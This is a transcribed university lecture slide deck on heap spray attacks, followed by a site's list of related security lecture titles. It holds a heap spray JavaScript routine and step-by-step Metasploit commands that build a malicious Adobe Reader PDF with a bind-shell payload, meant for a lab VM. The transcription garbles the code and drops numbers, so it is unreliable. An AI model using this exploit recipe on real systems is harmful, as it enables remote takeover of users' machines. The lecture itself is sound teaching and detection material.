Heaps of Heap-based Memory Attacks

Size: px
Start display at page:

Download "Heaps of Heap-based Memory Attacks"

Transcription

1 Heaps of Heap-based Memory Attacks Kevin Leach Center for Secure Information Systems 3 October 2012 K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

2 Goals During this lecture, you will be exposed to 1. How heaps function on different platforms 2. How and why heap spray attacks function 3. How to detect and analyze heap spray attacks 4. How to use Metasploit to produce attack samples K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

3 What is Heap Memory? Very different from the heap data structure (i.e., not the heap from heap sort ) Programs require storage for variables, buffers, etc. int x[50]; This is a static variable, located on the stack. Consider int x[n]; where n is an input. In essence: What happens when you don t know how large a variable needs to be? Notepad can handle arbitrarily large text files Does it allocate 1GB all the time just because it might need to open 1GB files? K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

4 Overview of Dynamic Memory Managed by OS Allocated dynamically as process executes Must be deallocated (e.g., free or garbage collection) Heap structure highly platform-dependent Windows maintains multiple heaps for each process Default heap C Runtime heap (C-based allocators like malloc()) Application private heaps (created via HeapCreate()) Linux has only one heap per thread Allocated one page at a time via sbrk system call typically managed by an allocator (e.g., glibc) Specialized allocator implementations K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

5 Overview of Dynamic Memory Heap memory Contiguous virtual memory, some allocated Free List Maintains free blocks in the heap 0xFFFF PrevSize Size size 1 b 1 b 2 b 3 b n Other Metadata... Data... size 2 size 3 c 1 c 2 c n size 4 d 1 Allocated blocks may... not be contiguous size n Contiguous free blocks are typically coalesced. 0x0000 K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

6 Diversion: von Neumann Machine Monolithic memory M contains: Program code P Program data D P D, i.e. Program and data may be the same! CPU with program counter I loads M I No distinction as to whether M I P, D Execute MI, increment I Repeat ad nauseam (Fetch/Execute cycle) In other words, data can become instructions in the CPU In any stored program computing machine, data must become code at some point K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

7 Heap Spray Attack Justification Easy deployment in scripting languages Easy to trick users to download infected file Ubiquity of programs that enable injecting code into the heap Popular host-based attack rather than server-based K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

8 Anatomy of a Heap Spray Attack Force vulnerable application to allocate large space in heap Typically use high-level scripting languages (JavaScript, ActionScript) Trivially deployed (godaddy + HTML, PDF with embedded JavaScript) Easy obfuscation (rename variables) Evades network intrusion detection systems Not necessarily malicious It is perfectly fine to allocate giant arrays in your JavaScript code Add binary code into the heap Typically lots of NOP-like instructions followed by shellcode Opportunity for polymorphism K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

9 Anatomy of a Heap Spray Attack Exploit a vulnerability that enables mutating program counter (EIP) Hopefully, the EIP lands in the heap and the malicious code will execute Improve likelihood of success via NOP sled and/or copying the payload multiple times Consider: Heap spray attacks 1 exist because all modern computing machines follow the von Neumann machine model! 2 Separating instructions from data solves the problem (Harvard architecture) Impractical to make such a sweeping architectural change 1 In fact, most memory-based attacks 2 a.k.a the Princeton architecture K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

10 Polymorphic Heap Spray Attacks The nop instruction 90h is not the only instruction that behaves like a NOP. Consider w, the set of registers used by the payload. If w i = 0 i eip pre < eip post < eip payload, then the payload will execute correctly. In other words, any sequence of instructions that has a net zero effect on all registers used by the payload behave like a NOP sled, provided it does not jump over the payload. Giant number of permutations in your NOP sled Increases (marginally) the risk of payload failure K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

11 Example - Overview 1 f u n c t i o n s p r a y s h e l l c o d e ( ) { 2 bbb = unescape ( #{e s c a p e d p a y l o a d } ) ; // a r b i t r a r y p a y l o a d 3 ccc = u nescape ( %u0c0c ) ; // o r ecx, 0Ch 4 ccc += ccc ; // produce word l e n g t h 5 6 w h i l e ( ccc. length < (0 x x8000 ) ) ccc += ccc ; 7 8 i 1 = 0 x0c0c 0 x24 ; ddd = ccc. s u b s t r i n g ( 0, i 1 / 2 ) ; 9 ddd += bbb ; // i n s e r t p a y l o a d 10 ddd += ccc ; // more nopsled i 2 = 0 x xc000 ; eee = ddd. s u b s t r i n g ( 0, i 2 / 2 ) ; f o r ( ; eee. l e n g t h < 0 x x40000 ; ) eee += eee ; 15 // copy t h e nop payload nop r e g i o n m u l t i p l e t i m e s i3 = (0 x1020 0x08 ) / 2 ; 18 f f f = eee. s u b s t r i n g ( 0, 0 x80000 i 3 ) ; 19 // ensure maximal length f o r element ggg = new A r r a y ( ) ; // d y n a m i c a l l y a l l o c a t e d i n heap f o r ( hhh = 0 ; hhh < 0x1e0 + 0x10 ; hhh++) ggg [ hhh ] = f f f + s ; 24 // dump the code a l l over the heap ( ggg array ) 25 } K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

12 Example bbb = unescape ( #{e s c a p e d p a y l o a d } ) ; 2 ccc = unescape ( %u0c0c ) ; 3 ccc += ccc ; 4 5 w h i l e ( ccc. l e n g t h < (0 x x8000 ) ) ccc += ccc ; This puts binary representations of the payload (shellcode) and NOP sled. Note that 0x0c0c0c behaves like a NOP sled. It executes or ecx, 0Ch. Also serves as return address K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

13 Example i 1 = 0 x0c0c 0 x24 ; ddd = ccc. s u b s t r i n g ( 0, i 1 / 2 ) ; 2 ddd += bbb ; ddd += ccc ; 3 4 i 2 = 0 x xc000 ; eee = ddd. s u b s t r i n g ( 0, i 2 / 2 ) ; Unimportant... cuts code to size, puts payload between two NOP sleds Essentially, this is done to lower the chance that execution lands in the middle of the shellcode 1 f o r ( ; eee. l e n g t h < 0 x x40000 ; ) eee += eee ; 2 i 3 = (0 x x08 ) / 2 ; 3 f f f = eee. s u b s t r i n g ( 0, 0 x80000 i 3 ) ; Creates packages of NOP-payload-NOP sections K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

14 Example - The Important Part 1 ggg = new Array ( ) ; 2 f o r ( hhh = 0 ; hhh < 0 x1e0 + 0 x10 ; hhh++) 3 ggg [ hhh ] = f f f + s ; This causes the JavaScript engine to make space in the heap (new); The loop copies the package multiple times into this dynamically allocated array. K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

15 Heap Spray Attack Execution 0x3fffffff Stack Stack Free Memory Free Memory Heap Grows up Heap now contains NOP sled and payload 0x Program code... Program code... K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

16 Heap Spray Attack Execution Heap contains many instances of NOP sled and payload This effectively increases the surface area of the attack Do not need the exact address of the payload n: number of payload instances s: size of nop sled, in bytes success: occurs when the payload successfully executes Without NOP sled 3 : P (success) = n 2 32 With NOP sled: Platform transparency Increases running time P (success) = lim sled size s 2 32 P (success) = Assuming uniformly distributed random payload target address in a 4GB address space K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

17 Detecting Heap Spray Attacks Signature of attack code find infected file on disk... find the heap spray function in memory... new exploits will surely become available Signature of payload find the shellcode in memory... extremely small footprint new payloads may become available Signature-based detection is weak NOP sled presence NOP sled is sizable Typically low entropy Easy to detect lots of malloc calls (in an ADS) K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

18 Detecting NOP Sleds Requirement: detect NOP sled before the payload executes Since heap interaction is so slow, we are at an advantage here Allocating 1GB takes on the order of seconds We can ensure detection so long as our system executes more rapidly than the heap spray attack can finish executing. Polling-based? Regular expressions Entropy calculation Behavior-based? Execute in a sandbox, see what happens Microsoft Nozzle Data Execution Prevention? Easy to circumvent (fundamentally, still a von Neumann machine) K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

19 Heap Spray with Metasploit Metasploit framework can produce attack samples Extensible plugin system Ruby scripts that produce attacks Check [/opt/metasploit/]msf3/modules/exploits Allows arbitrary payload insertion with different exploits Can produce vulnerable/malicious files, servers, etc. We will use CVE This is a vulnerability in Adobe Reader 9 and 10 It uses embedded JavaScript to spray the heap Then it uses crafted embedded U3D data to hijack execution You open the PDF, it hangs for a bit, then the payload executes K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

20 Creating the malicious PDF with MSF In Linux with Metasploit installed (e.g. the VCL image): 1. #> msfconsole 2. msfconsole > use exploit/windows/fileformat/adobe reader u3d 3. msfconsole (adobe reader u3d) > show payloads 4. msfconsole (adobe reader u3d) > set PAYLOAD generic/shell bind tcp 5. msfconsole (adobe reader u3d) > set LHOST msfconsole (adobe reader u3d) > exploit This will produce a malicious msf.pdf file under /.msf4 K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

21 Creating the malicious PDF with MSF msfconsole gives you access to the metasploit tools You can use it to produce attack samples, output payloads, inject payloads, or morph attacks The use command instructs the console to work with the given exploit or vulnerability In our case, we re using the adobe reader u3d exploit show payloads lists all of the different shellcodes that can be placed in the given attack Once a payload is chosen (via set PAYLOAD), the attack can be configured The generic/shell bind tcp payload listens on a given port for external connections The Ruby script for each attack is parameterized enable high customization In the case of this exploit, we must set the LHOST variable so that the shell knows which interface to bind to K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

22 Running a heap spray attack 1. (optional) copy the msf file to your home directory 2. Start a Windows XP SP3 Base VCL image and connect to it 3. Download and run this file: (it s Adobe Acrobat 9.4.0) 4. (optional) move your msf.pdf file to this machine Or download: 5. Disable the Windows firewall 6. Open the msf.pdf file (You might have to accept Acrobat s License) Sometimes, DEP will catch it and close Adobe. It may take 2-3 attempts for it to execute successfully. 7. open a command prompt (run cmd) 8. run telnet If you used the generic/shell bind tcp payload, you should be connected to a command prompt in your computer (a shell) K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

23 Discussion If you want to see the actual heap spray, download and install CheatEngine Attach to the AdobeRdr32 process Search for the hex string, 0c0c0c0c0c0c0c0c You can see the NOP sled and payload in memory K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October / 23

Robust Shell Code Return Oriented Programming and HeapSpray. Zhiqiang Lin

Robust Shell Code Return Oriented Programming and HeapSpray. Zhiqiang Lin CS 6V81-05: System Security and Malicious Code Analysis Robust Shell Code Return Oriented Programming and HeapSpray Zhiqiang Lin Department of Computer Science University of Texas at Dallas April 16 th,

More information

20: Exploits and Containment

20: Exploits and Containment 20: Exploits and Containment Mark Handley Andrea Bittau What is an exploit? Programs contain bugs. These bugs could have security implications (vulnerabilities) An exploit is a tool which exploits a vulnerability

More information

Hackveda Training - Ethical Hacking, Networking & Security

Hackveda Training - Ethical Hacking, Networking & Security Hackveda Training - Ethical Hacking, Networking & Security Day1: Hacking windows 7 / 8 system and security Part1 a.) Windows Login Password Bypass manually without CD / DVD b.) Windows Login Password Bypass

More information

Outline. Memory Exploit

Outline. Memory Exploit Outline CS 6V81-05: System Security and Malicious Code Analysis Robust Shell Code Return Oriented Programming and HeapSpray Zhiqiang Lin Department of Computer Science University of Texas at Dallas April

More information

Heap Off by 1 Overflow Illustrated. Eric Conrad October 2007

Heap Off by 1 Overflow Illustrated. Eric Conrad October 2007 Heap Off by 1 Overflow Illustrated Eric Conrad October 2007 1 The Attack Older CVS versions are vulnerable to an Off by 1 attack, where an attacker may insert one additional character into the heap CVS

More information

Beyond Stack Smashing: Recent Advances in Exploiting. Jonathan Pincus(MSR) and Brandon Baker (MS)

Beyond Stack Smashing: Recent Advances in Exploiting. Jonathan Pincus(MSR) and Brandon Baker (MS) Beyond Stack Smashing: Recent Advances in Exploiting Buffer Overruns Jonathan Pincus(MSR) and Brandon Baker (MS) Buffer Overflows and How they Occur Buffer is a contiguous segment of memory of a fixed

More information

Process Dump Analyses

Process Dump Analyses Process Dump Analyses 1 Process Dump Analyses Forensical acquisition and analyses of volatile data Tobias Klein tk@trapkit.de Version 1.0, 2006/07/22. Process Dump Analyses 2 1 Overview There is a general

More information

Is Exploitation Over? Bypassing Memory Protections in Windows 7

Is Exploitation Over? Bypassing Memory Protections in Windows 7 Is Exploitation Over? Bypassing Memory Protections in Windows 7 Alexander Sotirov alex@sotirov.net About me Exploit development since 1999 Published research into reliable exploitation techniques: Heap

More information

WRITING YOUR FIRST EXPLOIT LECTURE NOTES

WRITING YOUR FIRST EXPLOIT LECTURE NOTES WRITING YOUR FIRST EXPLOIT LECTURE NOTES Robert Olson Lecturer Dept. of Computing & Info Sciences SUNY at Fredonia olsonr@fredonia.edu @nerdprof https://github.com/nerdprof/writing-your-first-exploit 1.

More information

Metasploit Exploit CVE MS IE7 CFunctionPointer Uninitialized Memory Corruption

Metasploit Exploit CVE MS IE7 CFunctionPointer Uninitialized Memory Corruption Metasploit Exploit CVE-2009-0075 MS09-002 IE7 CFunctionPointer Uninitialized Memory Corruption Attacker with Metasploit Victim with IE7 Victim IE7 requests http://216.6.1.100/taxrefund Attacker Metasploit

More information

Building Payloads Tutorial

Building Payloads Tutorial Building Payloads Tutorial Last updated 06/23/2014-4.9 With Metasploit Pro, you can build payloads with the Payload Generator. The Payload Generator provides a guided interface that you can use to quickly

More information

Code with red border means vulnerable code. Code with green border means corrected code. This program asks the user for a password with the function

Code with red border means vulnerable code. Code with green border means corrected code. This program asks the user for a password with the function 1 Code with red border means vulnerable code. Code with green border means corrected code. This program asks the user for a password with the function IsPasswordOK(), and compares it with the correct password.

More information

Metasploit. Installation Guide Release 4.4

Metasploit. Installation Guide Release 4.4 Metasploit Installation Guide Release 4.4 TABLE OF CONTENTS About this Guide Target Audience...1 Organization...1 Document Conventions...1 Support...2 Support for Metasploit Pro and Metasploit Express...2

More information

Digital Forensics Lecture 02 PDF Structure

Digital Forensics Lecture 02 PDF Structure Digital Forensics Lecture 02 PDF Structure PDF Files Structure Akbar S. Namin Texas Tech University Spring 2017 PDF Format and Structure Tools used Text editor (e.g., vi) ClamAV antivirus (http://www.clamav.net/lang/en/download/

More information

putting m bytes into a buffer of size n, for m>n corrupts the surrounding memory check size of data before/when writing

putting m bytes into a buffer of size n, for m>n corrupts the surrounding memory check size of data before/when writing Secure Programming Lecture 4: Memory Corruption II (Stack & Heap Overflows) David Aspinall, Informatics @ Edinburgh 25th January 2018 Memory corruption Buffer overflow is a common vulnerability Simple

More information

Buffer overflow background

Buffer overflow background and heap buffer background Comp Sci 3600 Security Heap Outline and heap buffer Heap 1 and heap 2 3 buffer 4 5 Heap Outline and heap buffer Heap 1 and heap 2 3 buffer 4 5 Heap Address Space and heap buffer

More information

Practical Anti-virus Evasion

Practical Anti-virus Evasion Practical Anti-virus Evasion by Daniel Sauder During a penetration test, situation might occur where it is possible to upload and remotely execute a binary file. For example, you can execute the file on

More information

Is stack overflow still a problem?

Is stack overflow still a problem? Morris Worm (1998) Code Red (2001) Secure Programming Lecture 4: Memory Corruption II (Stack Overflows) David Aspinall, Informatics @ Edinburgh 31st January 2017 Memory corruption Buffer overflow remains

More information

PlatPal: Detecting Malicious Documents with Platform Diversity

PlatPal: Detecting Malicious Documents with Platform Diversity PlatPal: Detecting Malicious Documents with Platform Diversity Meng Xu and Taesoo Kim Georgia Institute of Technology 1 Malicious Documents On the Rise 2 3 4 Adobe Components Exploited Element parser JavaScript

More information

Malware

Malware reloaded Malware Research Team @ @xabiugarte Motivation Design principles / architecture Features Use cases Future work Dynamic Binary Instrumentation Techniques to trace the execution of a binary (or

More information

Heap Taichi: Exploiting Memory Allocation Granularity in Heap-Spraying Attacks

Heap Taichi: Exploiting Memory Allocation Granularity in Heap-Spraying Attacks Heap Taichi: Exploiting Memory Allocation Granularity in Heap-Spraying Attacks Yu Ding 1, Tao Wei 1, Tielei Wang 1, Zhenkai Liang 2, Wei Zou 1 1 Peking University, 2 National University of Singapore A

More information

INFORMATION SECURITY - PRACTICAL ASSESSMENT - BASICS IN BUFFER EXPLOITATION

INFORMATION SECURITY - PRACTICAL ASSESSMENT - BASICS IN BUFFER EXPLOITATION INFORMATION SECURITY - PRACTICAL ASSESSMENT - BASICS IN BUFFER EXPLOITATION GRENOBLE INP ENSIMAG http://www.ensimag.fr COMPUTER SCIENCE 3RD YEAR IF-MMIS - 1ST SEMESTER, 2011 Lecturers: Fabien Duchene -

More information

Bypassing Browser Memory Protections

Bypassing Browser Memory Protections Bypassing Browser Memory Protections Network Security Instructor: Dr. Shishir Nagaraja September 10, 2011. 1 Introduction to the topic A number of memory protection mechanisms like GS, SafeSEH, DEP and

More information

Intrusion Detection and Malware Analysis

Intrusion Detection and Malware Analysis Intrusion Detection and Malware Analysis Host Based Attacks Pavel Laskov Wilhelm Schickard Institute for Computer Science Software security threats Modification of program code viruses and self-replicating

More information

CSE 127 Computer Security

CSE 127 Computer Security CSE 127 Computer Security Stefan Savage, Fall 2018, Lecture 4 Low Level Software Security II: Format Strings, Shellcode, & Stack Protection Review Function arguments and local variables are stored on the

More information

CONTENTS IN DETAIL. FOREWORD by HD Moore ACKNOWLEDGMENTS INTRODUCTION 1 THE ABSOLUTE BASICS OF PENETRATION TESTING 1 2 METASPLOIT BASICS 7

CONTENTS IN DETAIL. FOREWORD by HD Moore ACKNOWLEDGMENTS INTRODUCTION 1 THE ABSOLUTE BASICS OF PENETRATION TESTING 1 2 METASPLOIT BASICS 7 CONTENTS IN DETAIL FOREWORD by HD Moore xiii PREFACE xvii ACKNOWLEDGMENTS xix Special Thanks... xx INTRODUCTION xxi Why Do A Penetration Test?... xxii Why Metasploit?... xxii A Brief History of Metasploit...

More information

CSE 509: Computer Security

CSE 509: Computer Security CSE 509: Computer Security Date: 2.16.2009 BUFFER OVERFLOWS: input data Server running a daemon Attacker Code The attacker sends data to the daemon process running at the server side and could thus trigger

More information

Adon'tbe an Adobe victim

Adon'tbe an Adobe victim Adon'tbe an Adobe victim An overview of how recent Adobe-related flaws affect your web application Joshua Stabiner EY Agenda Introductions Background Cross-site scripting (PDF) Overview Exploit Mitigation

More information

Confinement (Running Untrusted Programs)

Confinement (Running Untrusted Programs) Confinement (Running Untrusted Programs) Chester Rebeiro Indian Institute of Technology Madras Untrusted Programs Untrusted Application Entire Application untrusted Part of application untrusted Modules

More information

putting m bytes into a buffer of size n, for m>n corrupts the surrounding memory check size of data before/when writing

putting m bytes into a buffer of size n, for m>n corrupts the surrounding memory check size of data before/when writing Secure Programming Lecture 4: Memory Corruption II (Stack & Heap Overflows) David Aspinall, Informatics @ Edinburgh 28th January 2019 Memory corruption Buffer overflow is a common vulnerability Simple

More information

Inline Reference Monitoring Techniques

Inline Reference Monitoring Techniques Inline Reference Monitoring Techniques In the last lecture, we started talking about Inline Reference Monitors. The idea is that the policy enforcement code runs with the same address space as the code

More information

Secure Programming Lecture 4: Memory Corruption II (Stack & Heap Overflows)

Secure Programming Lecture 4: Memory Corruption II (Stack & Heap Overflows) Secure Programming Lecture 4: Memory Corruption II (Stack & Heap Overflows) David Aspinall, Informatics @ Edinburgh 28th January 2019 Memory corruption Buffer overflow is a common vulnerability. Simple

More information

Buffer overflow is still one of the most common vulnerabilities being discovered and exploited in commodity software.

Buffer overflow is still one of the most common vulnerabilities being discovered and exploited in commodity software. Outline Morris Worm (1998) Infamous attacks Secure Programming Lecture 4: Memory Corruption II (Stack Overflows) David Aspinall, Informatics @ Edinburgh 23rd January 2014 Recap Simple overflow exploit

More information

Browser Exploits? Grab em by the Collar! Presented By: Debasish Mandal

Browser Exploits? Grab em by the Collar! Presented By: Debasish Mandal Browser Exploits? Grab em by the Collar! Presented By: Debasish Mandal (@debasishm89) About Me Security researcher, currently working in McAfee IPS Vulnerability Research Team. Working in information security

More information

Secure Programming Lecture 4: Memory Corruption II (Stack & Heap Overflows)

Secure Programming Lecture 4: Memory Corruption II (Stack & Heap Overflows) Secure Programming Lecture 4: Memory Corruption II (Stack & Heap Overflows) David Aspinall, Informatics @ Edinburgh 25th January 2018 Memory corruption Buffer overflow is a common vulnerability. Simple

More information

SA30228 / CVE

SA30228 / CVE Generated by Secunia 29 May, 2008 5 pages Table of Contents Introduction 2 Technical Details 2 Exploitation 4 Characteristics 4 Tested Versions 5 Fixed Versions 5 References 5 Generated by Secunia 29 May,

More information

Writing Exploits with MSF3.0

Writing Exploits with MSF3.0 Writing Exploits with MSF3.0 Saumil Shah hack.lu 2007 Luxembourg, October 18 2007 Setup and Instructions VMWare Player if you don t have VMWare Workstation Copy VM Image from CD, unzip the ZIP file Administrator

More information

Security and Privacy in Computer Systems. Lecture 5: Application Program Security

Security and Privacy in Computer Systems. Lecture 5: Application Program Security CS 645 Security and Privacy in Computer Systems Lecture 5: Application Program Security Buffer overflow exploits More effective buffer overflow attacks Preventing buffer overflow attacks Announcement Project

More information

Shellcode Analysis. Chapter 19

Shellcode Analysis. Chapter 19 Shellcode Analysis Chapter 19 What is Shellcode Shellcode a payload of raw executable code, attackers use this code to obtain interactive shell access. A binary chunk of data Can be generally referred

More information

CSE 127 Computer Security

CSE 127 Computer Security CSE 127 Computer Security Stefan Savage, Spring 2018, Lecture 4 Low Level Software Security II: Format Strings, Shellcode, & Stack Protection Review Function arguments and local variables are stored on

More information

Iterator: A way to sequentially access ( traverse ) each object in a container or collection. - Access is done as needed, not necessarily at once.

Iterator: A way to sequentially access ( traverse ) each object in a container or collection. - Access is done as needed, not necessarily at once. CSE 12, Week Seven, Lecture One Iterator: A way to sequentially access ( traverse ) each object in a container or collection - Access is done as needed, not necessarily at once. - Implemented by a private

More information

Inject malicious code Call any library functions Modify the original code

Inject malicious code Call any library functions Modify the original code Inject malicious code Call any library functions Modify the original code 2 Sadeghi, Davi TU Darmstadt 2012 Secure, Trusted, and Trustworthy Computing Chapter 6: Runtime Attacks 2 3 Sadeghi, Davi TU Darmstadt

More information

CS 261 Fall Mike Lam, Professor. Virtual Memory

CS 261 Fall Mike Lam, Professor. Virtual Memory CS 261 Fall 2016 Mike Lam, Professor Virtual Memory Topics Operating systems Address spaces Virtual memory Address translation Memory allocation Lingering questions What happens when you call malloc()?

More information

Buffer. This time. Security. overflows. Software. By investigating. We will begin. our 1st section: History. Memory layouts

Buffer. This time. Security. overflows. Software. By investigating. We will begin. our 1st section: History. Memory layouts This time We will begin our 1st section: Software Security By investigating Buffer overflows and other memory safety vulnerabilities History Memory layouts Buffer overflow fundamentals Software security

More information

CNIT 127: Exploit Development. Ch 3: Shellcode. Updated

CNIT 127: Exploit Development. Ch 3: Shellcode. Updated CNIT 127: Exploit Development Ch 3: Shellcode Updated 1-30-17 Topics Protection rings Syscalls Shellcode nasm Assembler ld GNU Linker objdump to see contents of object files strace System Call Tracer Removing

More information

Software Vulnerabilities August 31, 2011 / CS261 Computer Security

Software Vulnerabilities August 31, 2011 / CS261 Computer Security Software Vulnerabilities August 31, 2011 / CS261 Computer Security Software Vulnerabilities...1 Review paper discussion...2 Trampolining...2 Heap smashing...2 malloc/free...2 Double freeing...4 Defenses...5

More information

CIS 551 / TCOM 401 Computer and Network Security. Spring 2007 Lecture 2

CIS 551 / TCOM 401 Computer and Network Security. Spring 2007 Lecture 2 CIS 551 / TCOM 401 Computer and Network Security Spring 2007 Lecture 2 Announcements First project is on the web Due: Feb. 1st at midnight Form groups of 2 or 3 people If you need help finding a group,

More information

CS 161 Computer Security

CS 161 Computer Security Paxson Spring 2017 CS 161 Computer Security Discussion 2 Question 1 Software Vulnerabilities (15 min) For the following code, assume an attacker can control the value of basket passed into eval basket.

More information

Buffer overflow prevention, and other attacks

Buffer overflow prevention, and other attacks Buffer prevention, and other attacks Comp Sci 3600 Security Outline 1 2 Two approaches to buffer defense Aim to harden programs to resist attacks in new programs Run time Aim to detect and abort attacks

More information

Basic Buffer Overflows

Basic Buffer Overflows Operating Systems Security Basic Buffer Overflows (Stack Smashing) Computer Security & OS lab. Cho, Seong-je ( 조성제 ) Fall, 2018 sjcho at dankook.ac.kr Chapter 10 Buffer Overflow 2 Contents Virtual Memory

More information

Stack-Based Buffer Overflow Explained. Marc Koser. East Carolina University. ICTN 4040: Enterprise Information Security

Stack-Based Buffer Overflow Explained. Marc Koser. East Carolina University. ICTN 4040: Enterprise Information Security Running Head: BUFFER OVERFLOW 1 Stack-Based Buffer Overflow Explained Marc Koser East Carolina University ICTN 4040: Enterprise Information Security Instructor: Dr. Philip Lunsford 03-17-2015 Prepared

More information

Metasploit Unleashed. Class 1: Metasploit Fundamentals. Georgia Weidman Director of Cyberwarface, Reverse Space

Metasploit Unleashed. Class 1: Metasploit Fundamentals. Georgia Weidman Director of Cyberwarface, Reverse Space Metasploit Unleashed Class 1: Metasploit Fundamentals Georgia Weidman Director of Cyberwarface, Reverse Space Acknowledgments Metasploit Team Offensive Security/Metasploit Unleashed Hackers for Charity

More information

Ethical Hacking and Prevention

Ethical Hacking and Prevention Ethical Hacking and Prevention This course is mapped to the popular Ethical Hacking and Prevention Certification Exam from US-Council. This course is meant for those professionals who are looking for comprehensive

More information

Nmap & Metasploit. Chun-Jen (James) Chung. Arizona State University

Nmap & Metasploit. Chun-Jen (James) Chung. Arizona State University Nmap & Metasploit Chun-Jen (James) Chung Nmap recap Nmap uses raw IP packets in novel ways to determine what hosts are available on the network What services (application name and version) those hosts

More information

Module 1: Penetration Testing Planning and Scoping. Module 2: Basic Usage of Linux and its services

Module 1: Penetration Testing Planning and Scoping. Module 2: Basic Usage of Linux and its services Following topics will be covered: Module 1: Penetration Testing Planning and Scoping - Types of penetration testing and ethical hacking projects - Penetration testing methodology - Limitations and benefits

More information

CS 161 Computer Security

CS 161 Computer Security Paxson Spring 2011 CS 161 Computer Security Discussion 1 January 26, 2011 Question 1 Buffer Overflow Mitigations Buffer overflow mitigations generally fall into two categories: (i) eliminating the cause

More information

Remote Buffer Overflow Exploits

Remote Buffer Overflow Exploits We work in the dark we do what we can we give what we have. Our doubt is our passion and our passion is our task. The rest is the madness of art. Henry James 2010 Remote Buffer Overflow Exploits 2010 DZZ

More information

White Paper. New Gateway Anti-Malware Technology Sets the Bar for Web Threat Protection

White Paper. New Gateway Anti-Malware Technology Sets the Bar for Web Threat Protection White Paper New Gateway Anti-Malware Technology Sets the Bar for Web Threat Protection The latest version of the flagship McAfee Gateway Anti-Malware technology adapts to new threats and plans for future

More information

Q: Exploit Hardening Made Easy

Q: Exploit Hardening Made Easy Q: Exploit Hardening Made Easy E.J. Schwartz, T. Avgerinos, and D. Brumley. In Proc. USENIX Security Symposium, 2011. CS 6301-002: Language-based Security Dr. Kevin Hamlen Attacker s Dilemma Problem Scenario

More information

Dynamic Memory Allocation

Dynamic Memory Allocation Dynamic Memory Allocation CS61, Lecture 10 Prof. Stephen Chong October 4, 2011 Announcements 1/2 Assignment 4: Malloc Will be released today May work in groups of one or two Please go to website and enter

More information

Polymorphic Blending Attacks. Slides by Jelena Mirkovic

Polymorphic Blending Attacks. Slides by Jelena Mirkovic Polymorphic Blending Attacks Slides by Jelena Mirkovic 1 Motivation! Polymorphism is used by malicious code to evade signature-based IDSs Anomaly-based IDSs detect polymorphic attacks because their byte

More information

AUTHOR CONTACT DETAILS

AUTHOR CONTACT DETAILS AUTHOR CONTACT DETAILS Name Dinesh Shetty Organization Paladion Networks Email ID dinesh.shetty@paladion.net Penetration Testing with Metasploit Framework When i say "Penetration Testing tool" the first

More information

Jacksonville Linux User Group Presenter: Travis Phillips Date: 02/20/2013

Jacksonville Linux User Group Presenter: Travis Phillips Date: 02/20/2013 Jacksonville Linux User Group Presenter: Travis Phillips Date: 02/20/2013 Welcome Back! A Quick Recap of the Last Presentation: Overview of web technologies. What it is. How it works. Why it s attractive

More information

SA28083 / CVE

SA28083 / CVE Generated by Secunia 9 April, 2008 5 pages Table of Contents Introduction 2 Technical Details 2 Exploitation 4 Characteristics 4 Affected Versions 5 Fixed Versions 5 References 5 Generated by Secunia 9

More information

Software Security: Buffer Overflow Attacks

Software Security: Buffer Overflow Attacks CSE 484 / CSE M 584: Computer Security and Privacy Software Security: Buffer Overflow Attacks (continued) Autumn 2018 Tadayoshi (Yoshi) Kohno yoshi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann,

More information

CNIT 127: Exploit Development. Ch 14: Protection Mechanisms. Updated

CNIT 127: Exploit Development. Ch 14: Protection Mechanisms. Updated CNIT 127: Exploit Development Ch 14: Protection Mechanisms Updated 3-25-17 Topics Non-Executable Stack W^X (Either Writable or Executable Memory) Stack Data Protection Canaries Ideal Stack Layout AAAS:

More information

Dynamic Memory Management! Goals of this Lecture!

Dynamic Memory Management! Goals of this Lecture! Dynamic Memory Management!!! 1 Goals of this Lecture! Help you learn about:! Dynamic memory management techniques! Garbage collection by the run-time system (Java)! Manual deallocation by the programmer

More information

Defeat Exploit Mitigation Heap Attacks. compass-security.com 1

Defeat Exploit Mitigation Heap Attacks. compass-security.com 1 Defeat Exploit Mitigation Heap Attacks compass-security.com 1 ASCII Armor Arbitrary Write Overflow Local Vars Exploit Mitigations Stack Canary ASLR PIE Heap Overflows Brute Force Partial RIP Overwrite

More information

ECE 471 Embedded Systems Lecture 22

ECE 471 Embedded Systems Lecture 22 ECE 471 Embedded Systems Lecture 22 Vince Weaver http://www.eece.maine.edu/~vweaver vincent.weaver@maine.edu 31 October 2018 Don t forget HW#7 Announcements 1 Computer Security and why it matters for embedded

More information

Digital Forensics Lecture 02B Analyzing PDFs. Akbar S. Namin Texas Tech University Spring 2017

Digital Forensics Lecture 02B Analyzing PDFs. Akbar S. Namin Texas Tech University Spring 2017 Digital Forensics Lecture 02B Analyzing PDFs Akbar S. Namin Texas Tech University Spring 2017 PDF Format and Structure Tools used Text editor (e.g., vi) ClamAV antivirus (http://www.clamav.net/lang/en/download/

More information

Survey of Cyber Moving Targets. Presented By Sharani Sankaran

Survey of Cyber Moving Targets. Presented By Sharani Sankaran Survey of Cyber Moving Targets Presented By Sharani Sankaran Moving Target Defense A cyber moving target technique refers to any technique that attempts to defend a system and increase the complexity of

More information

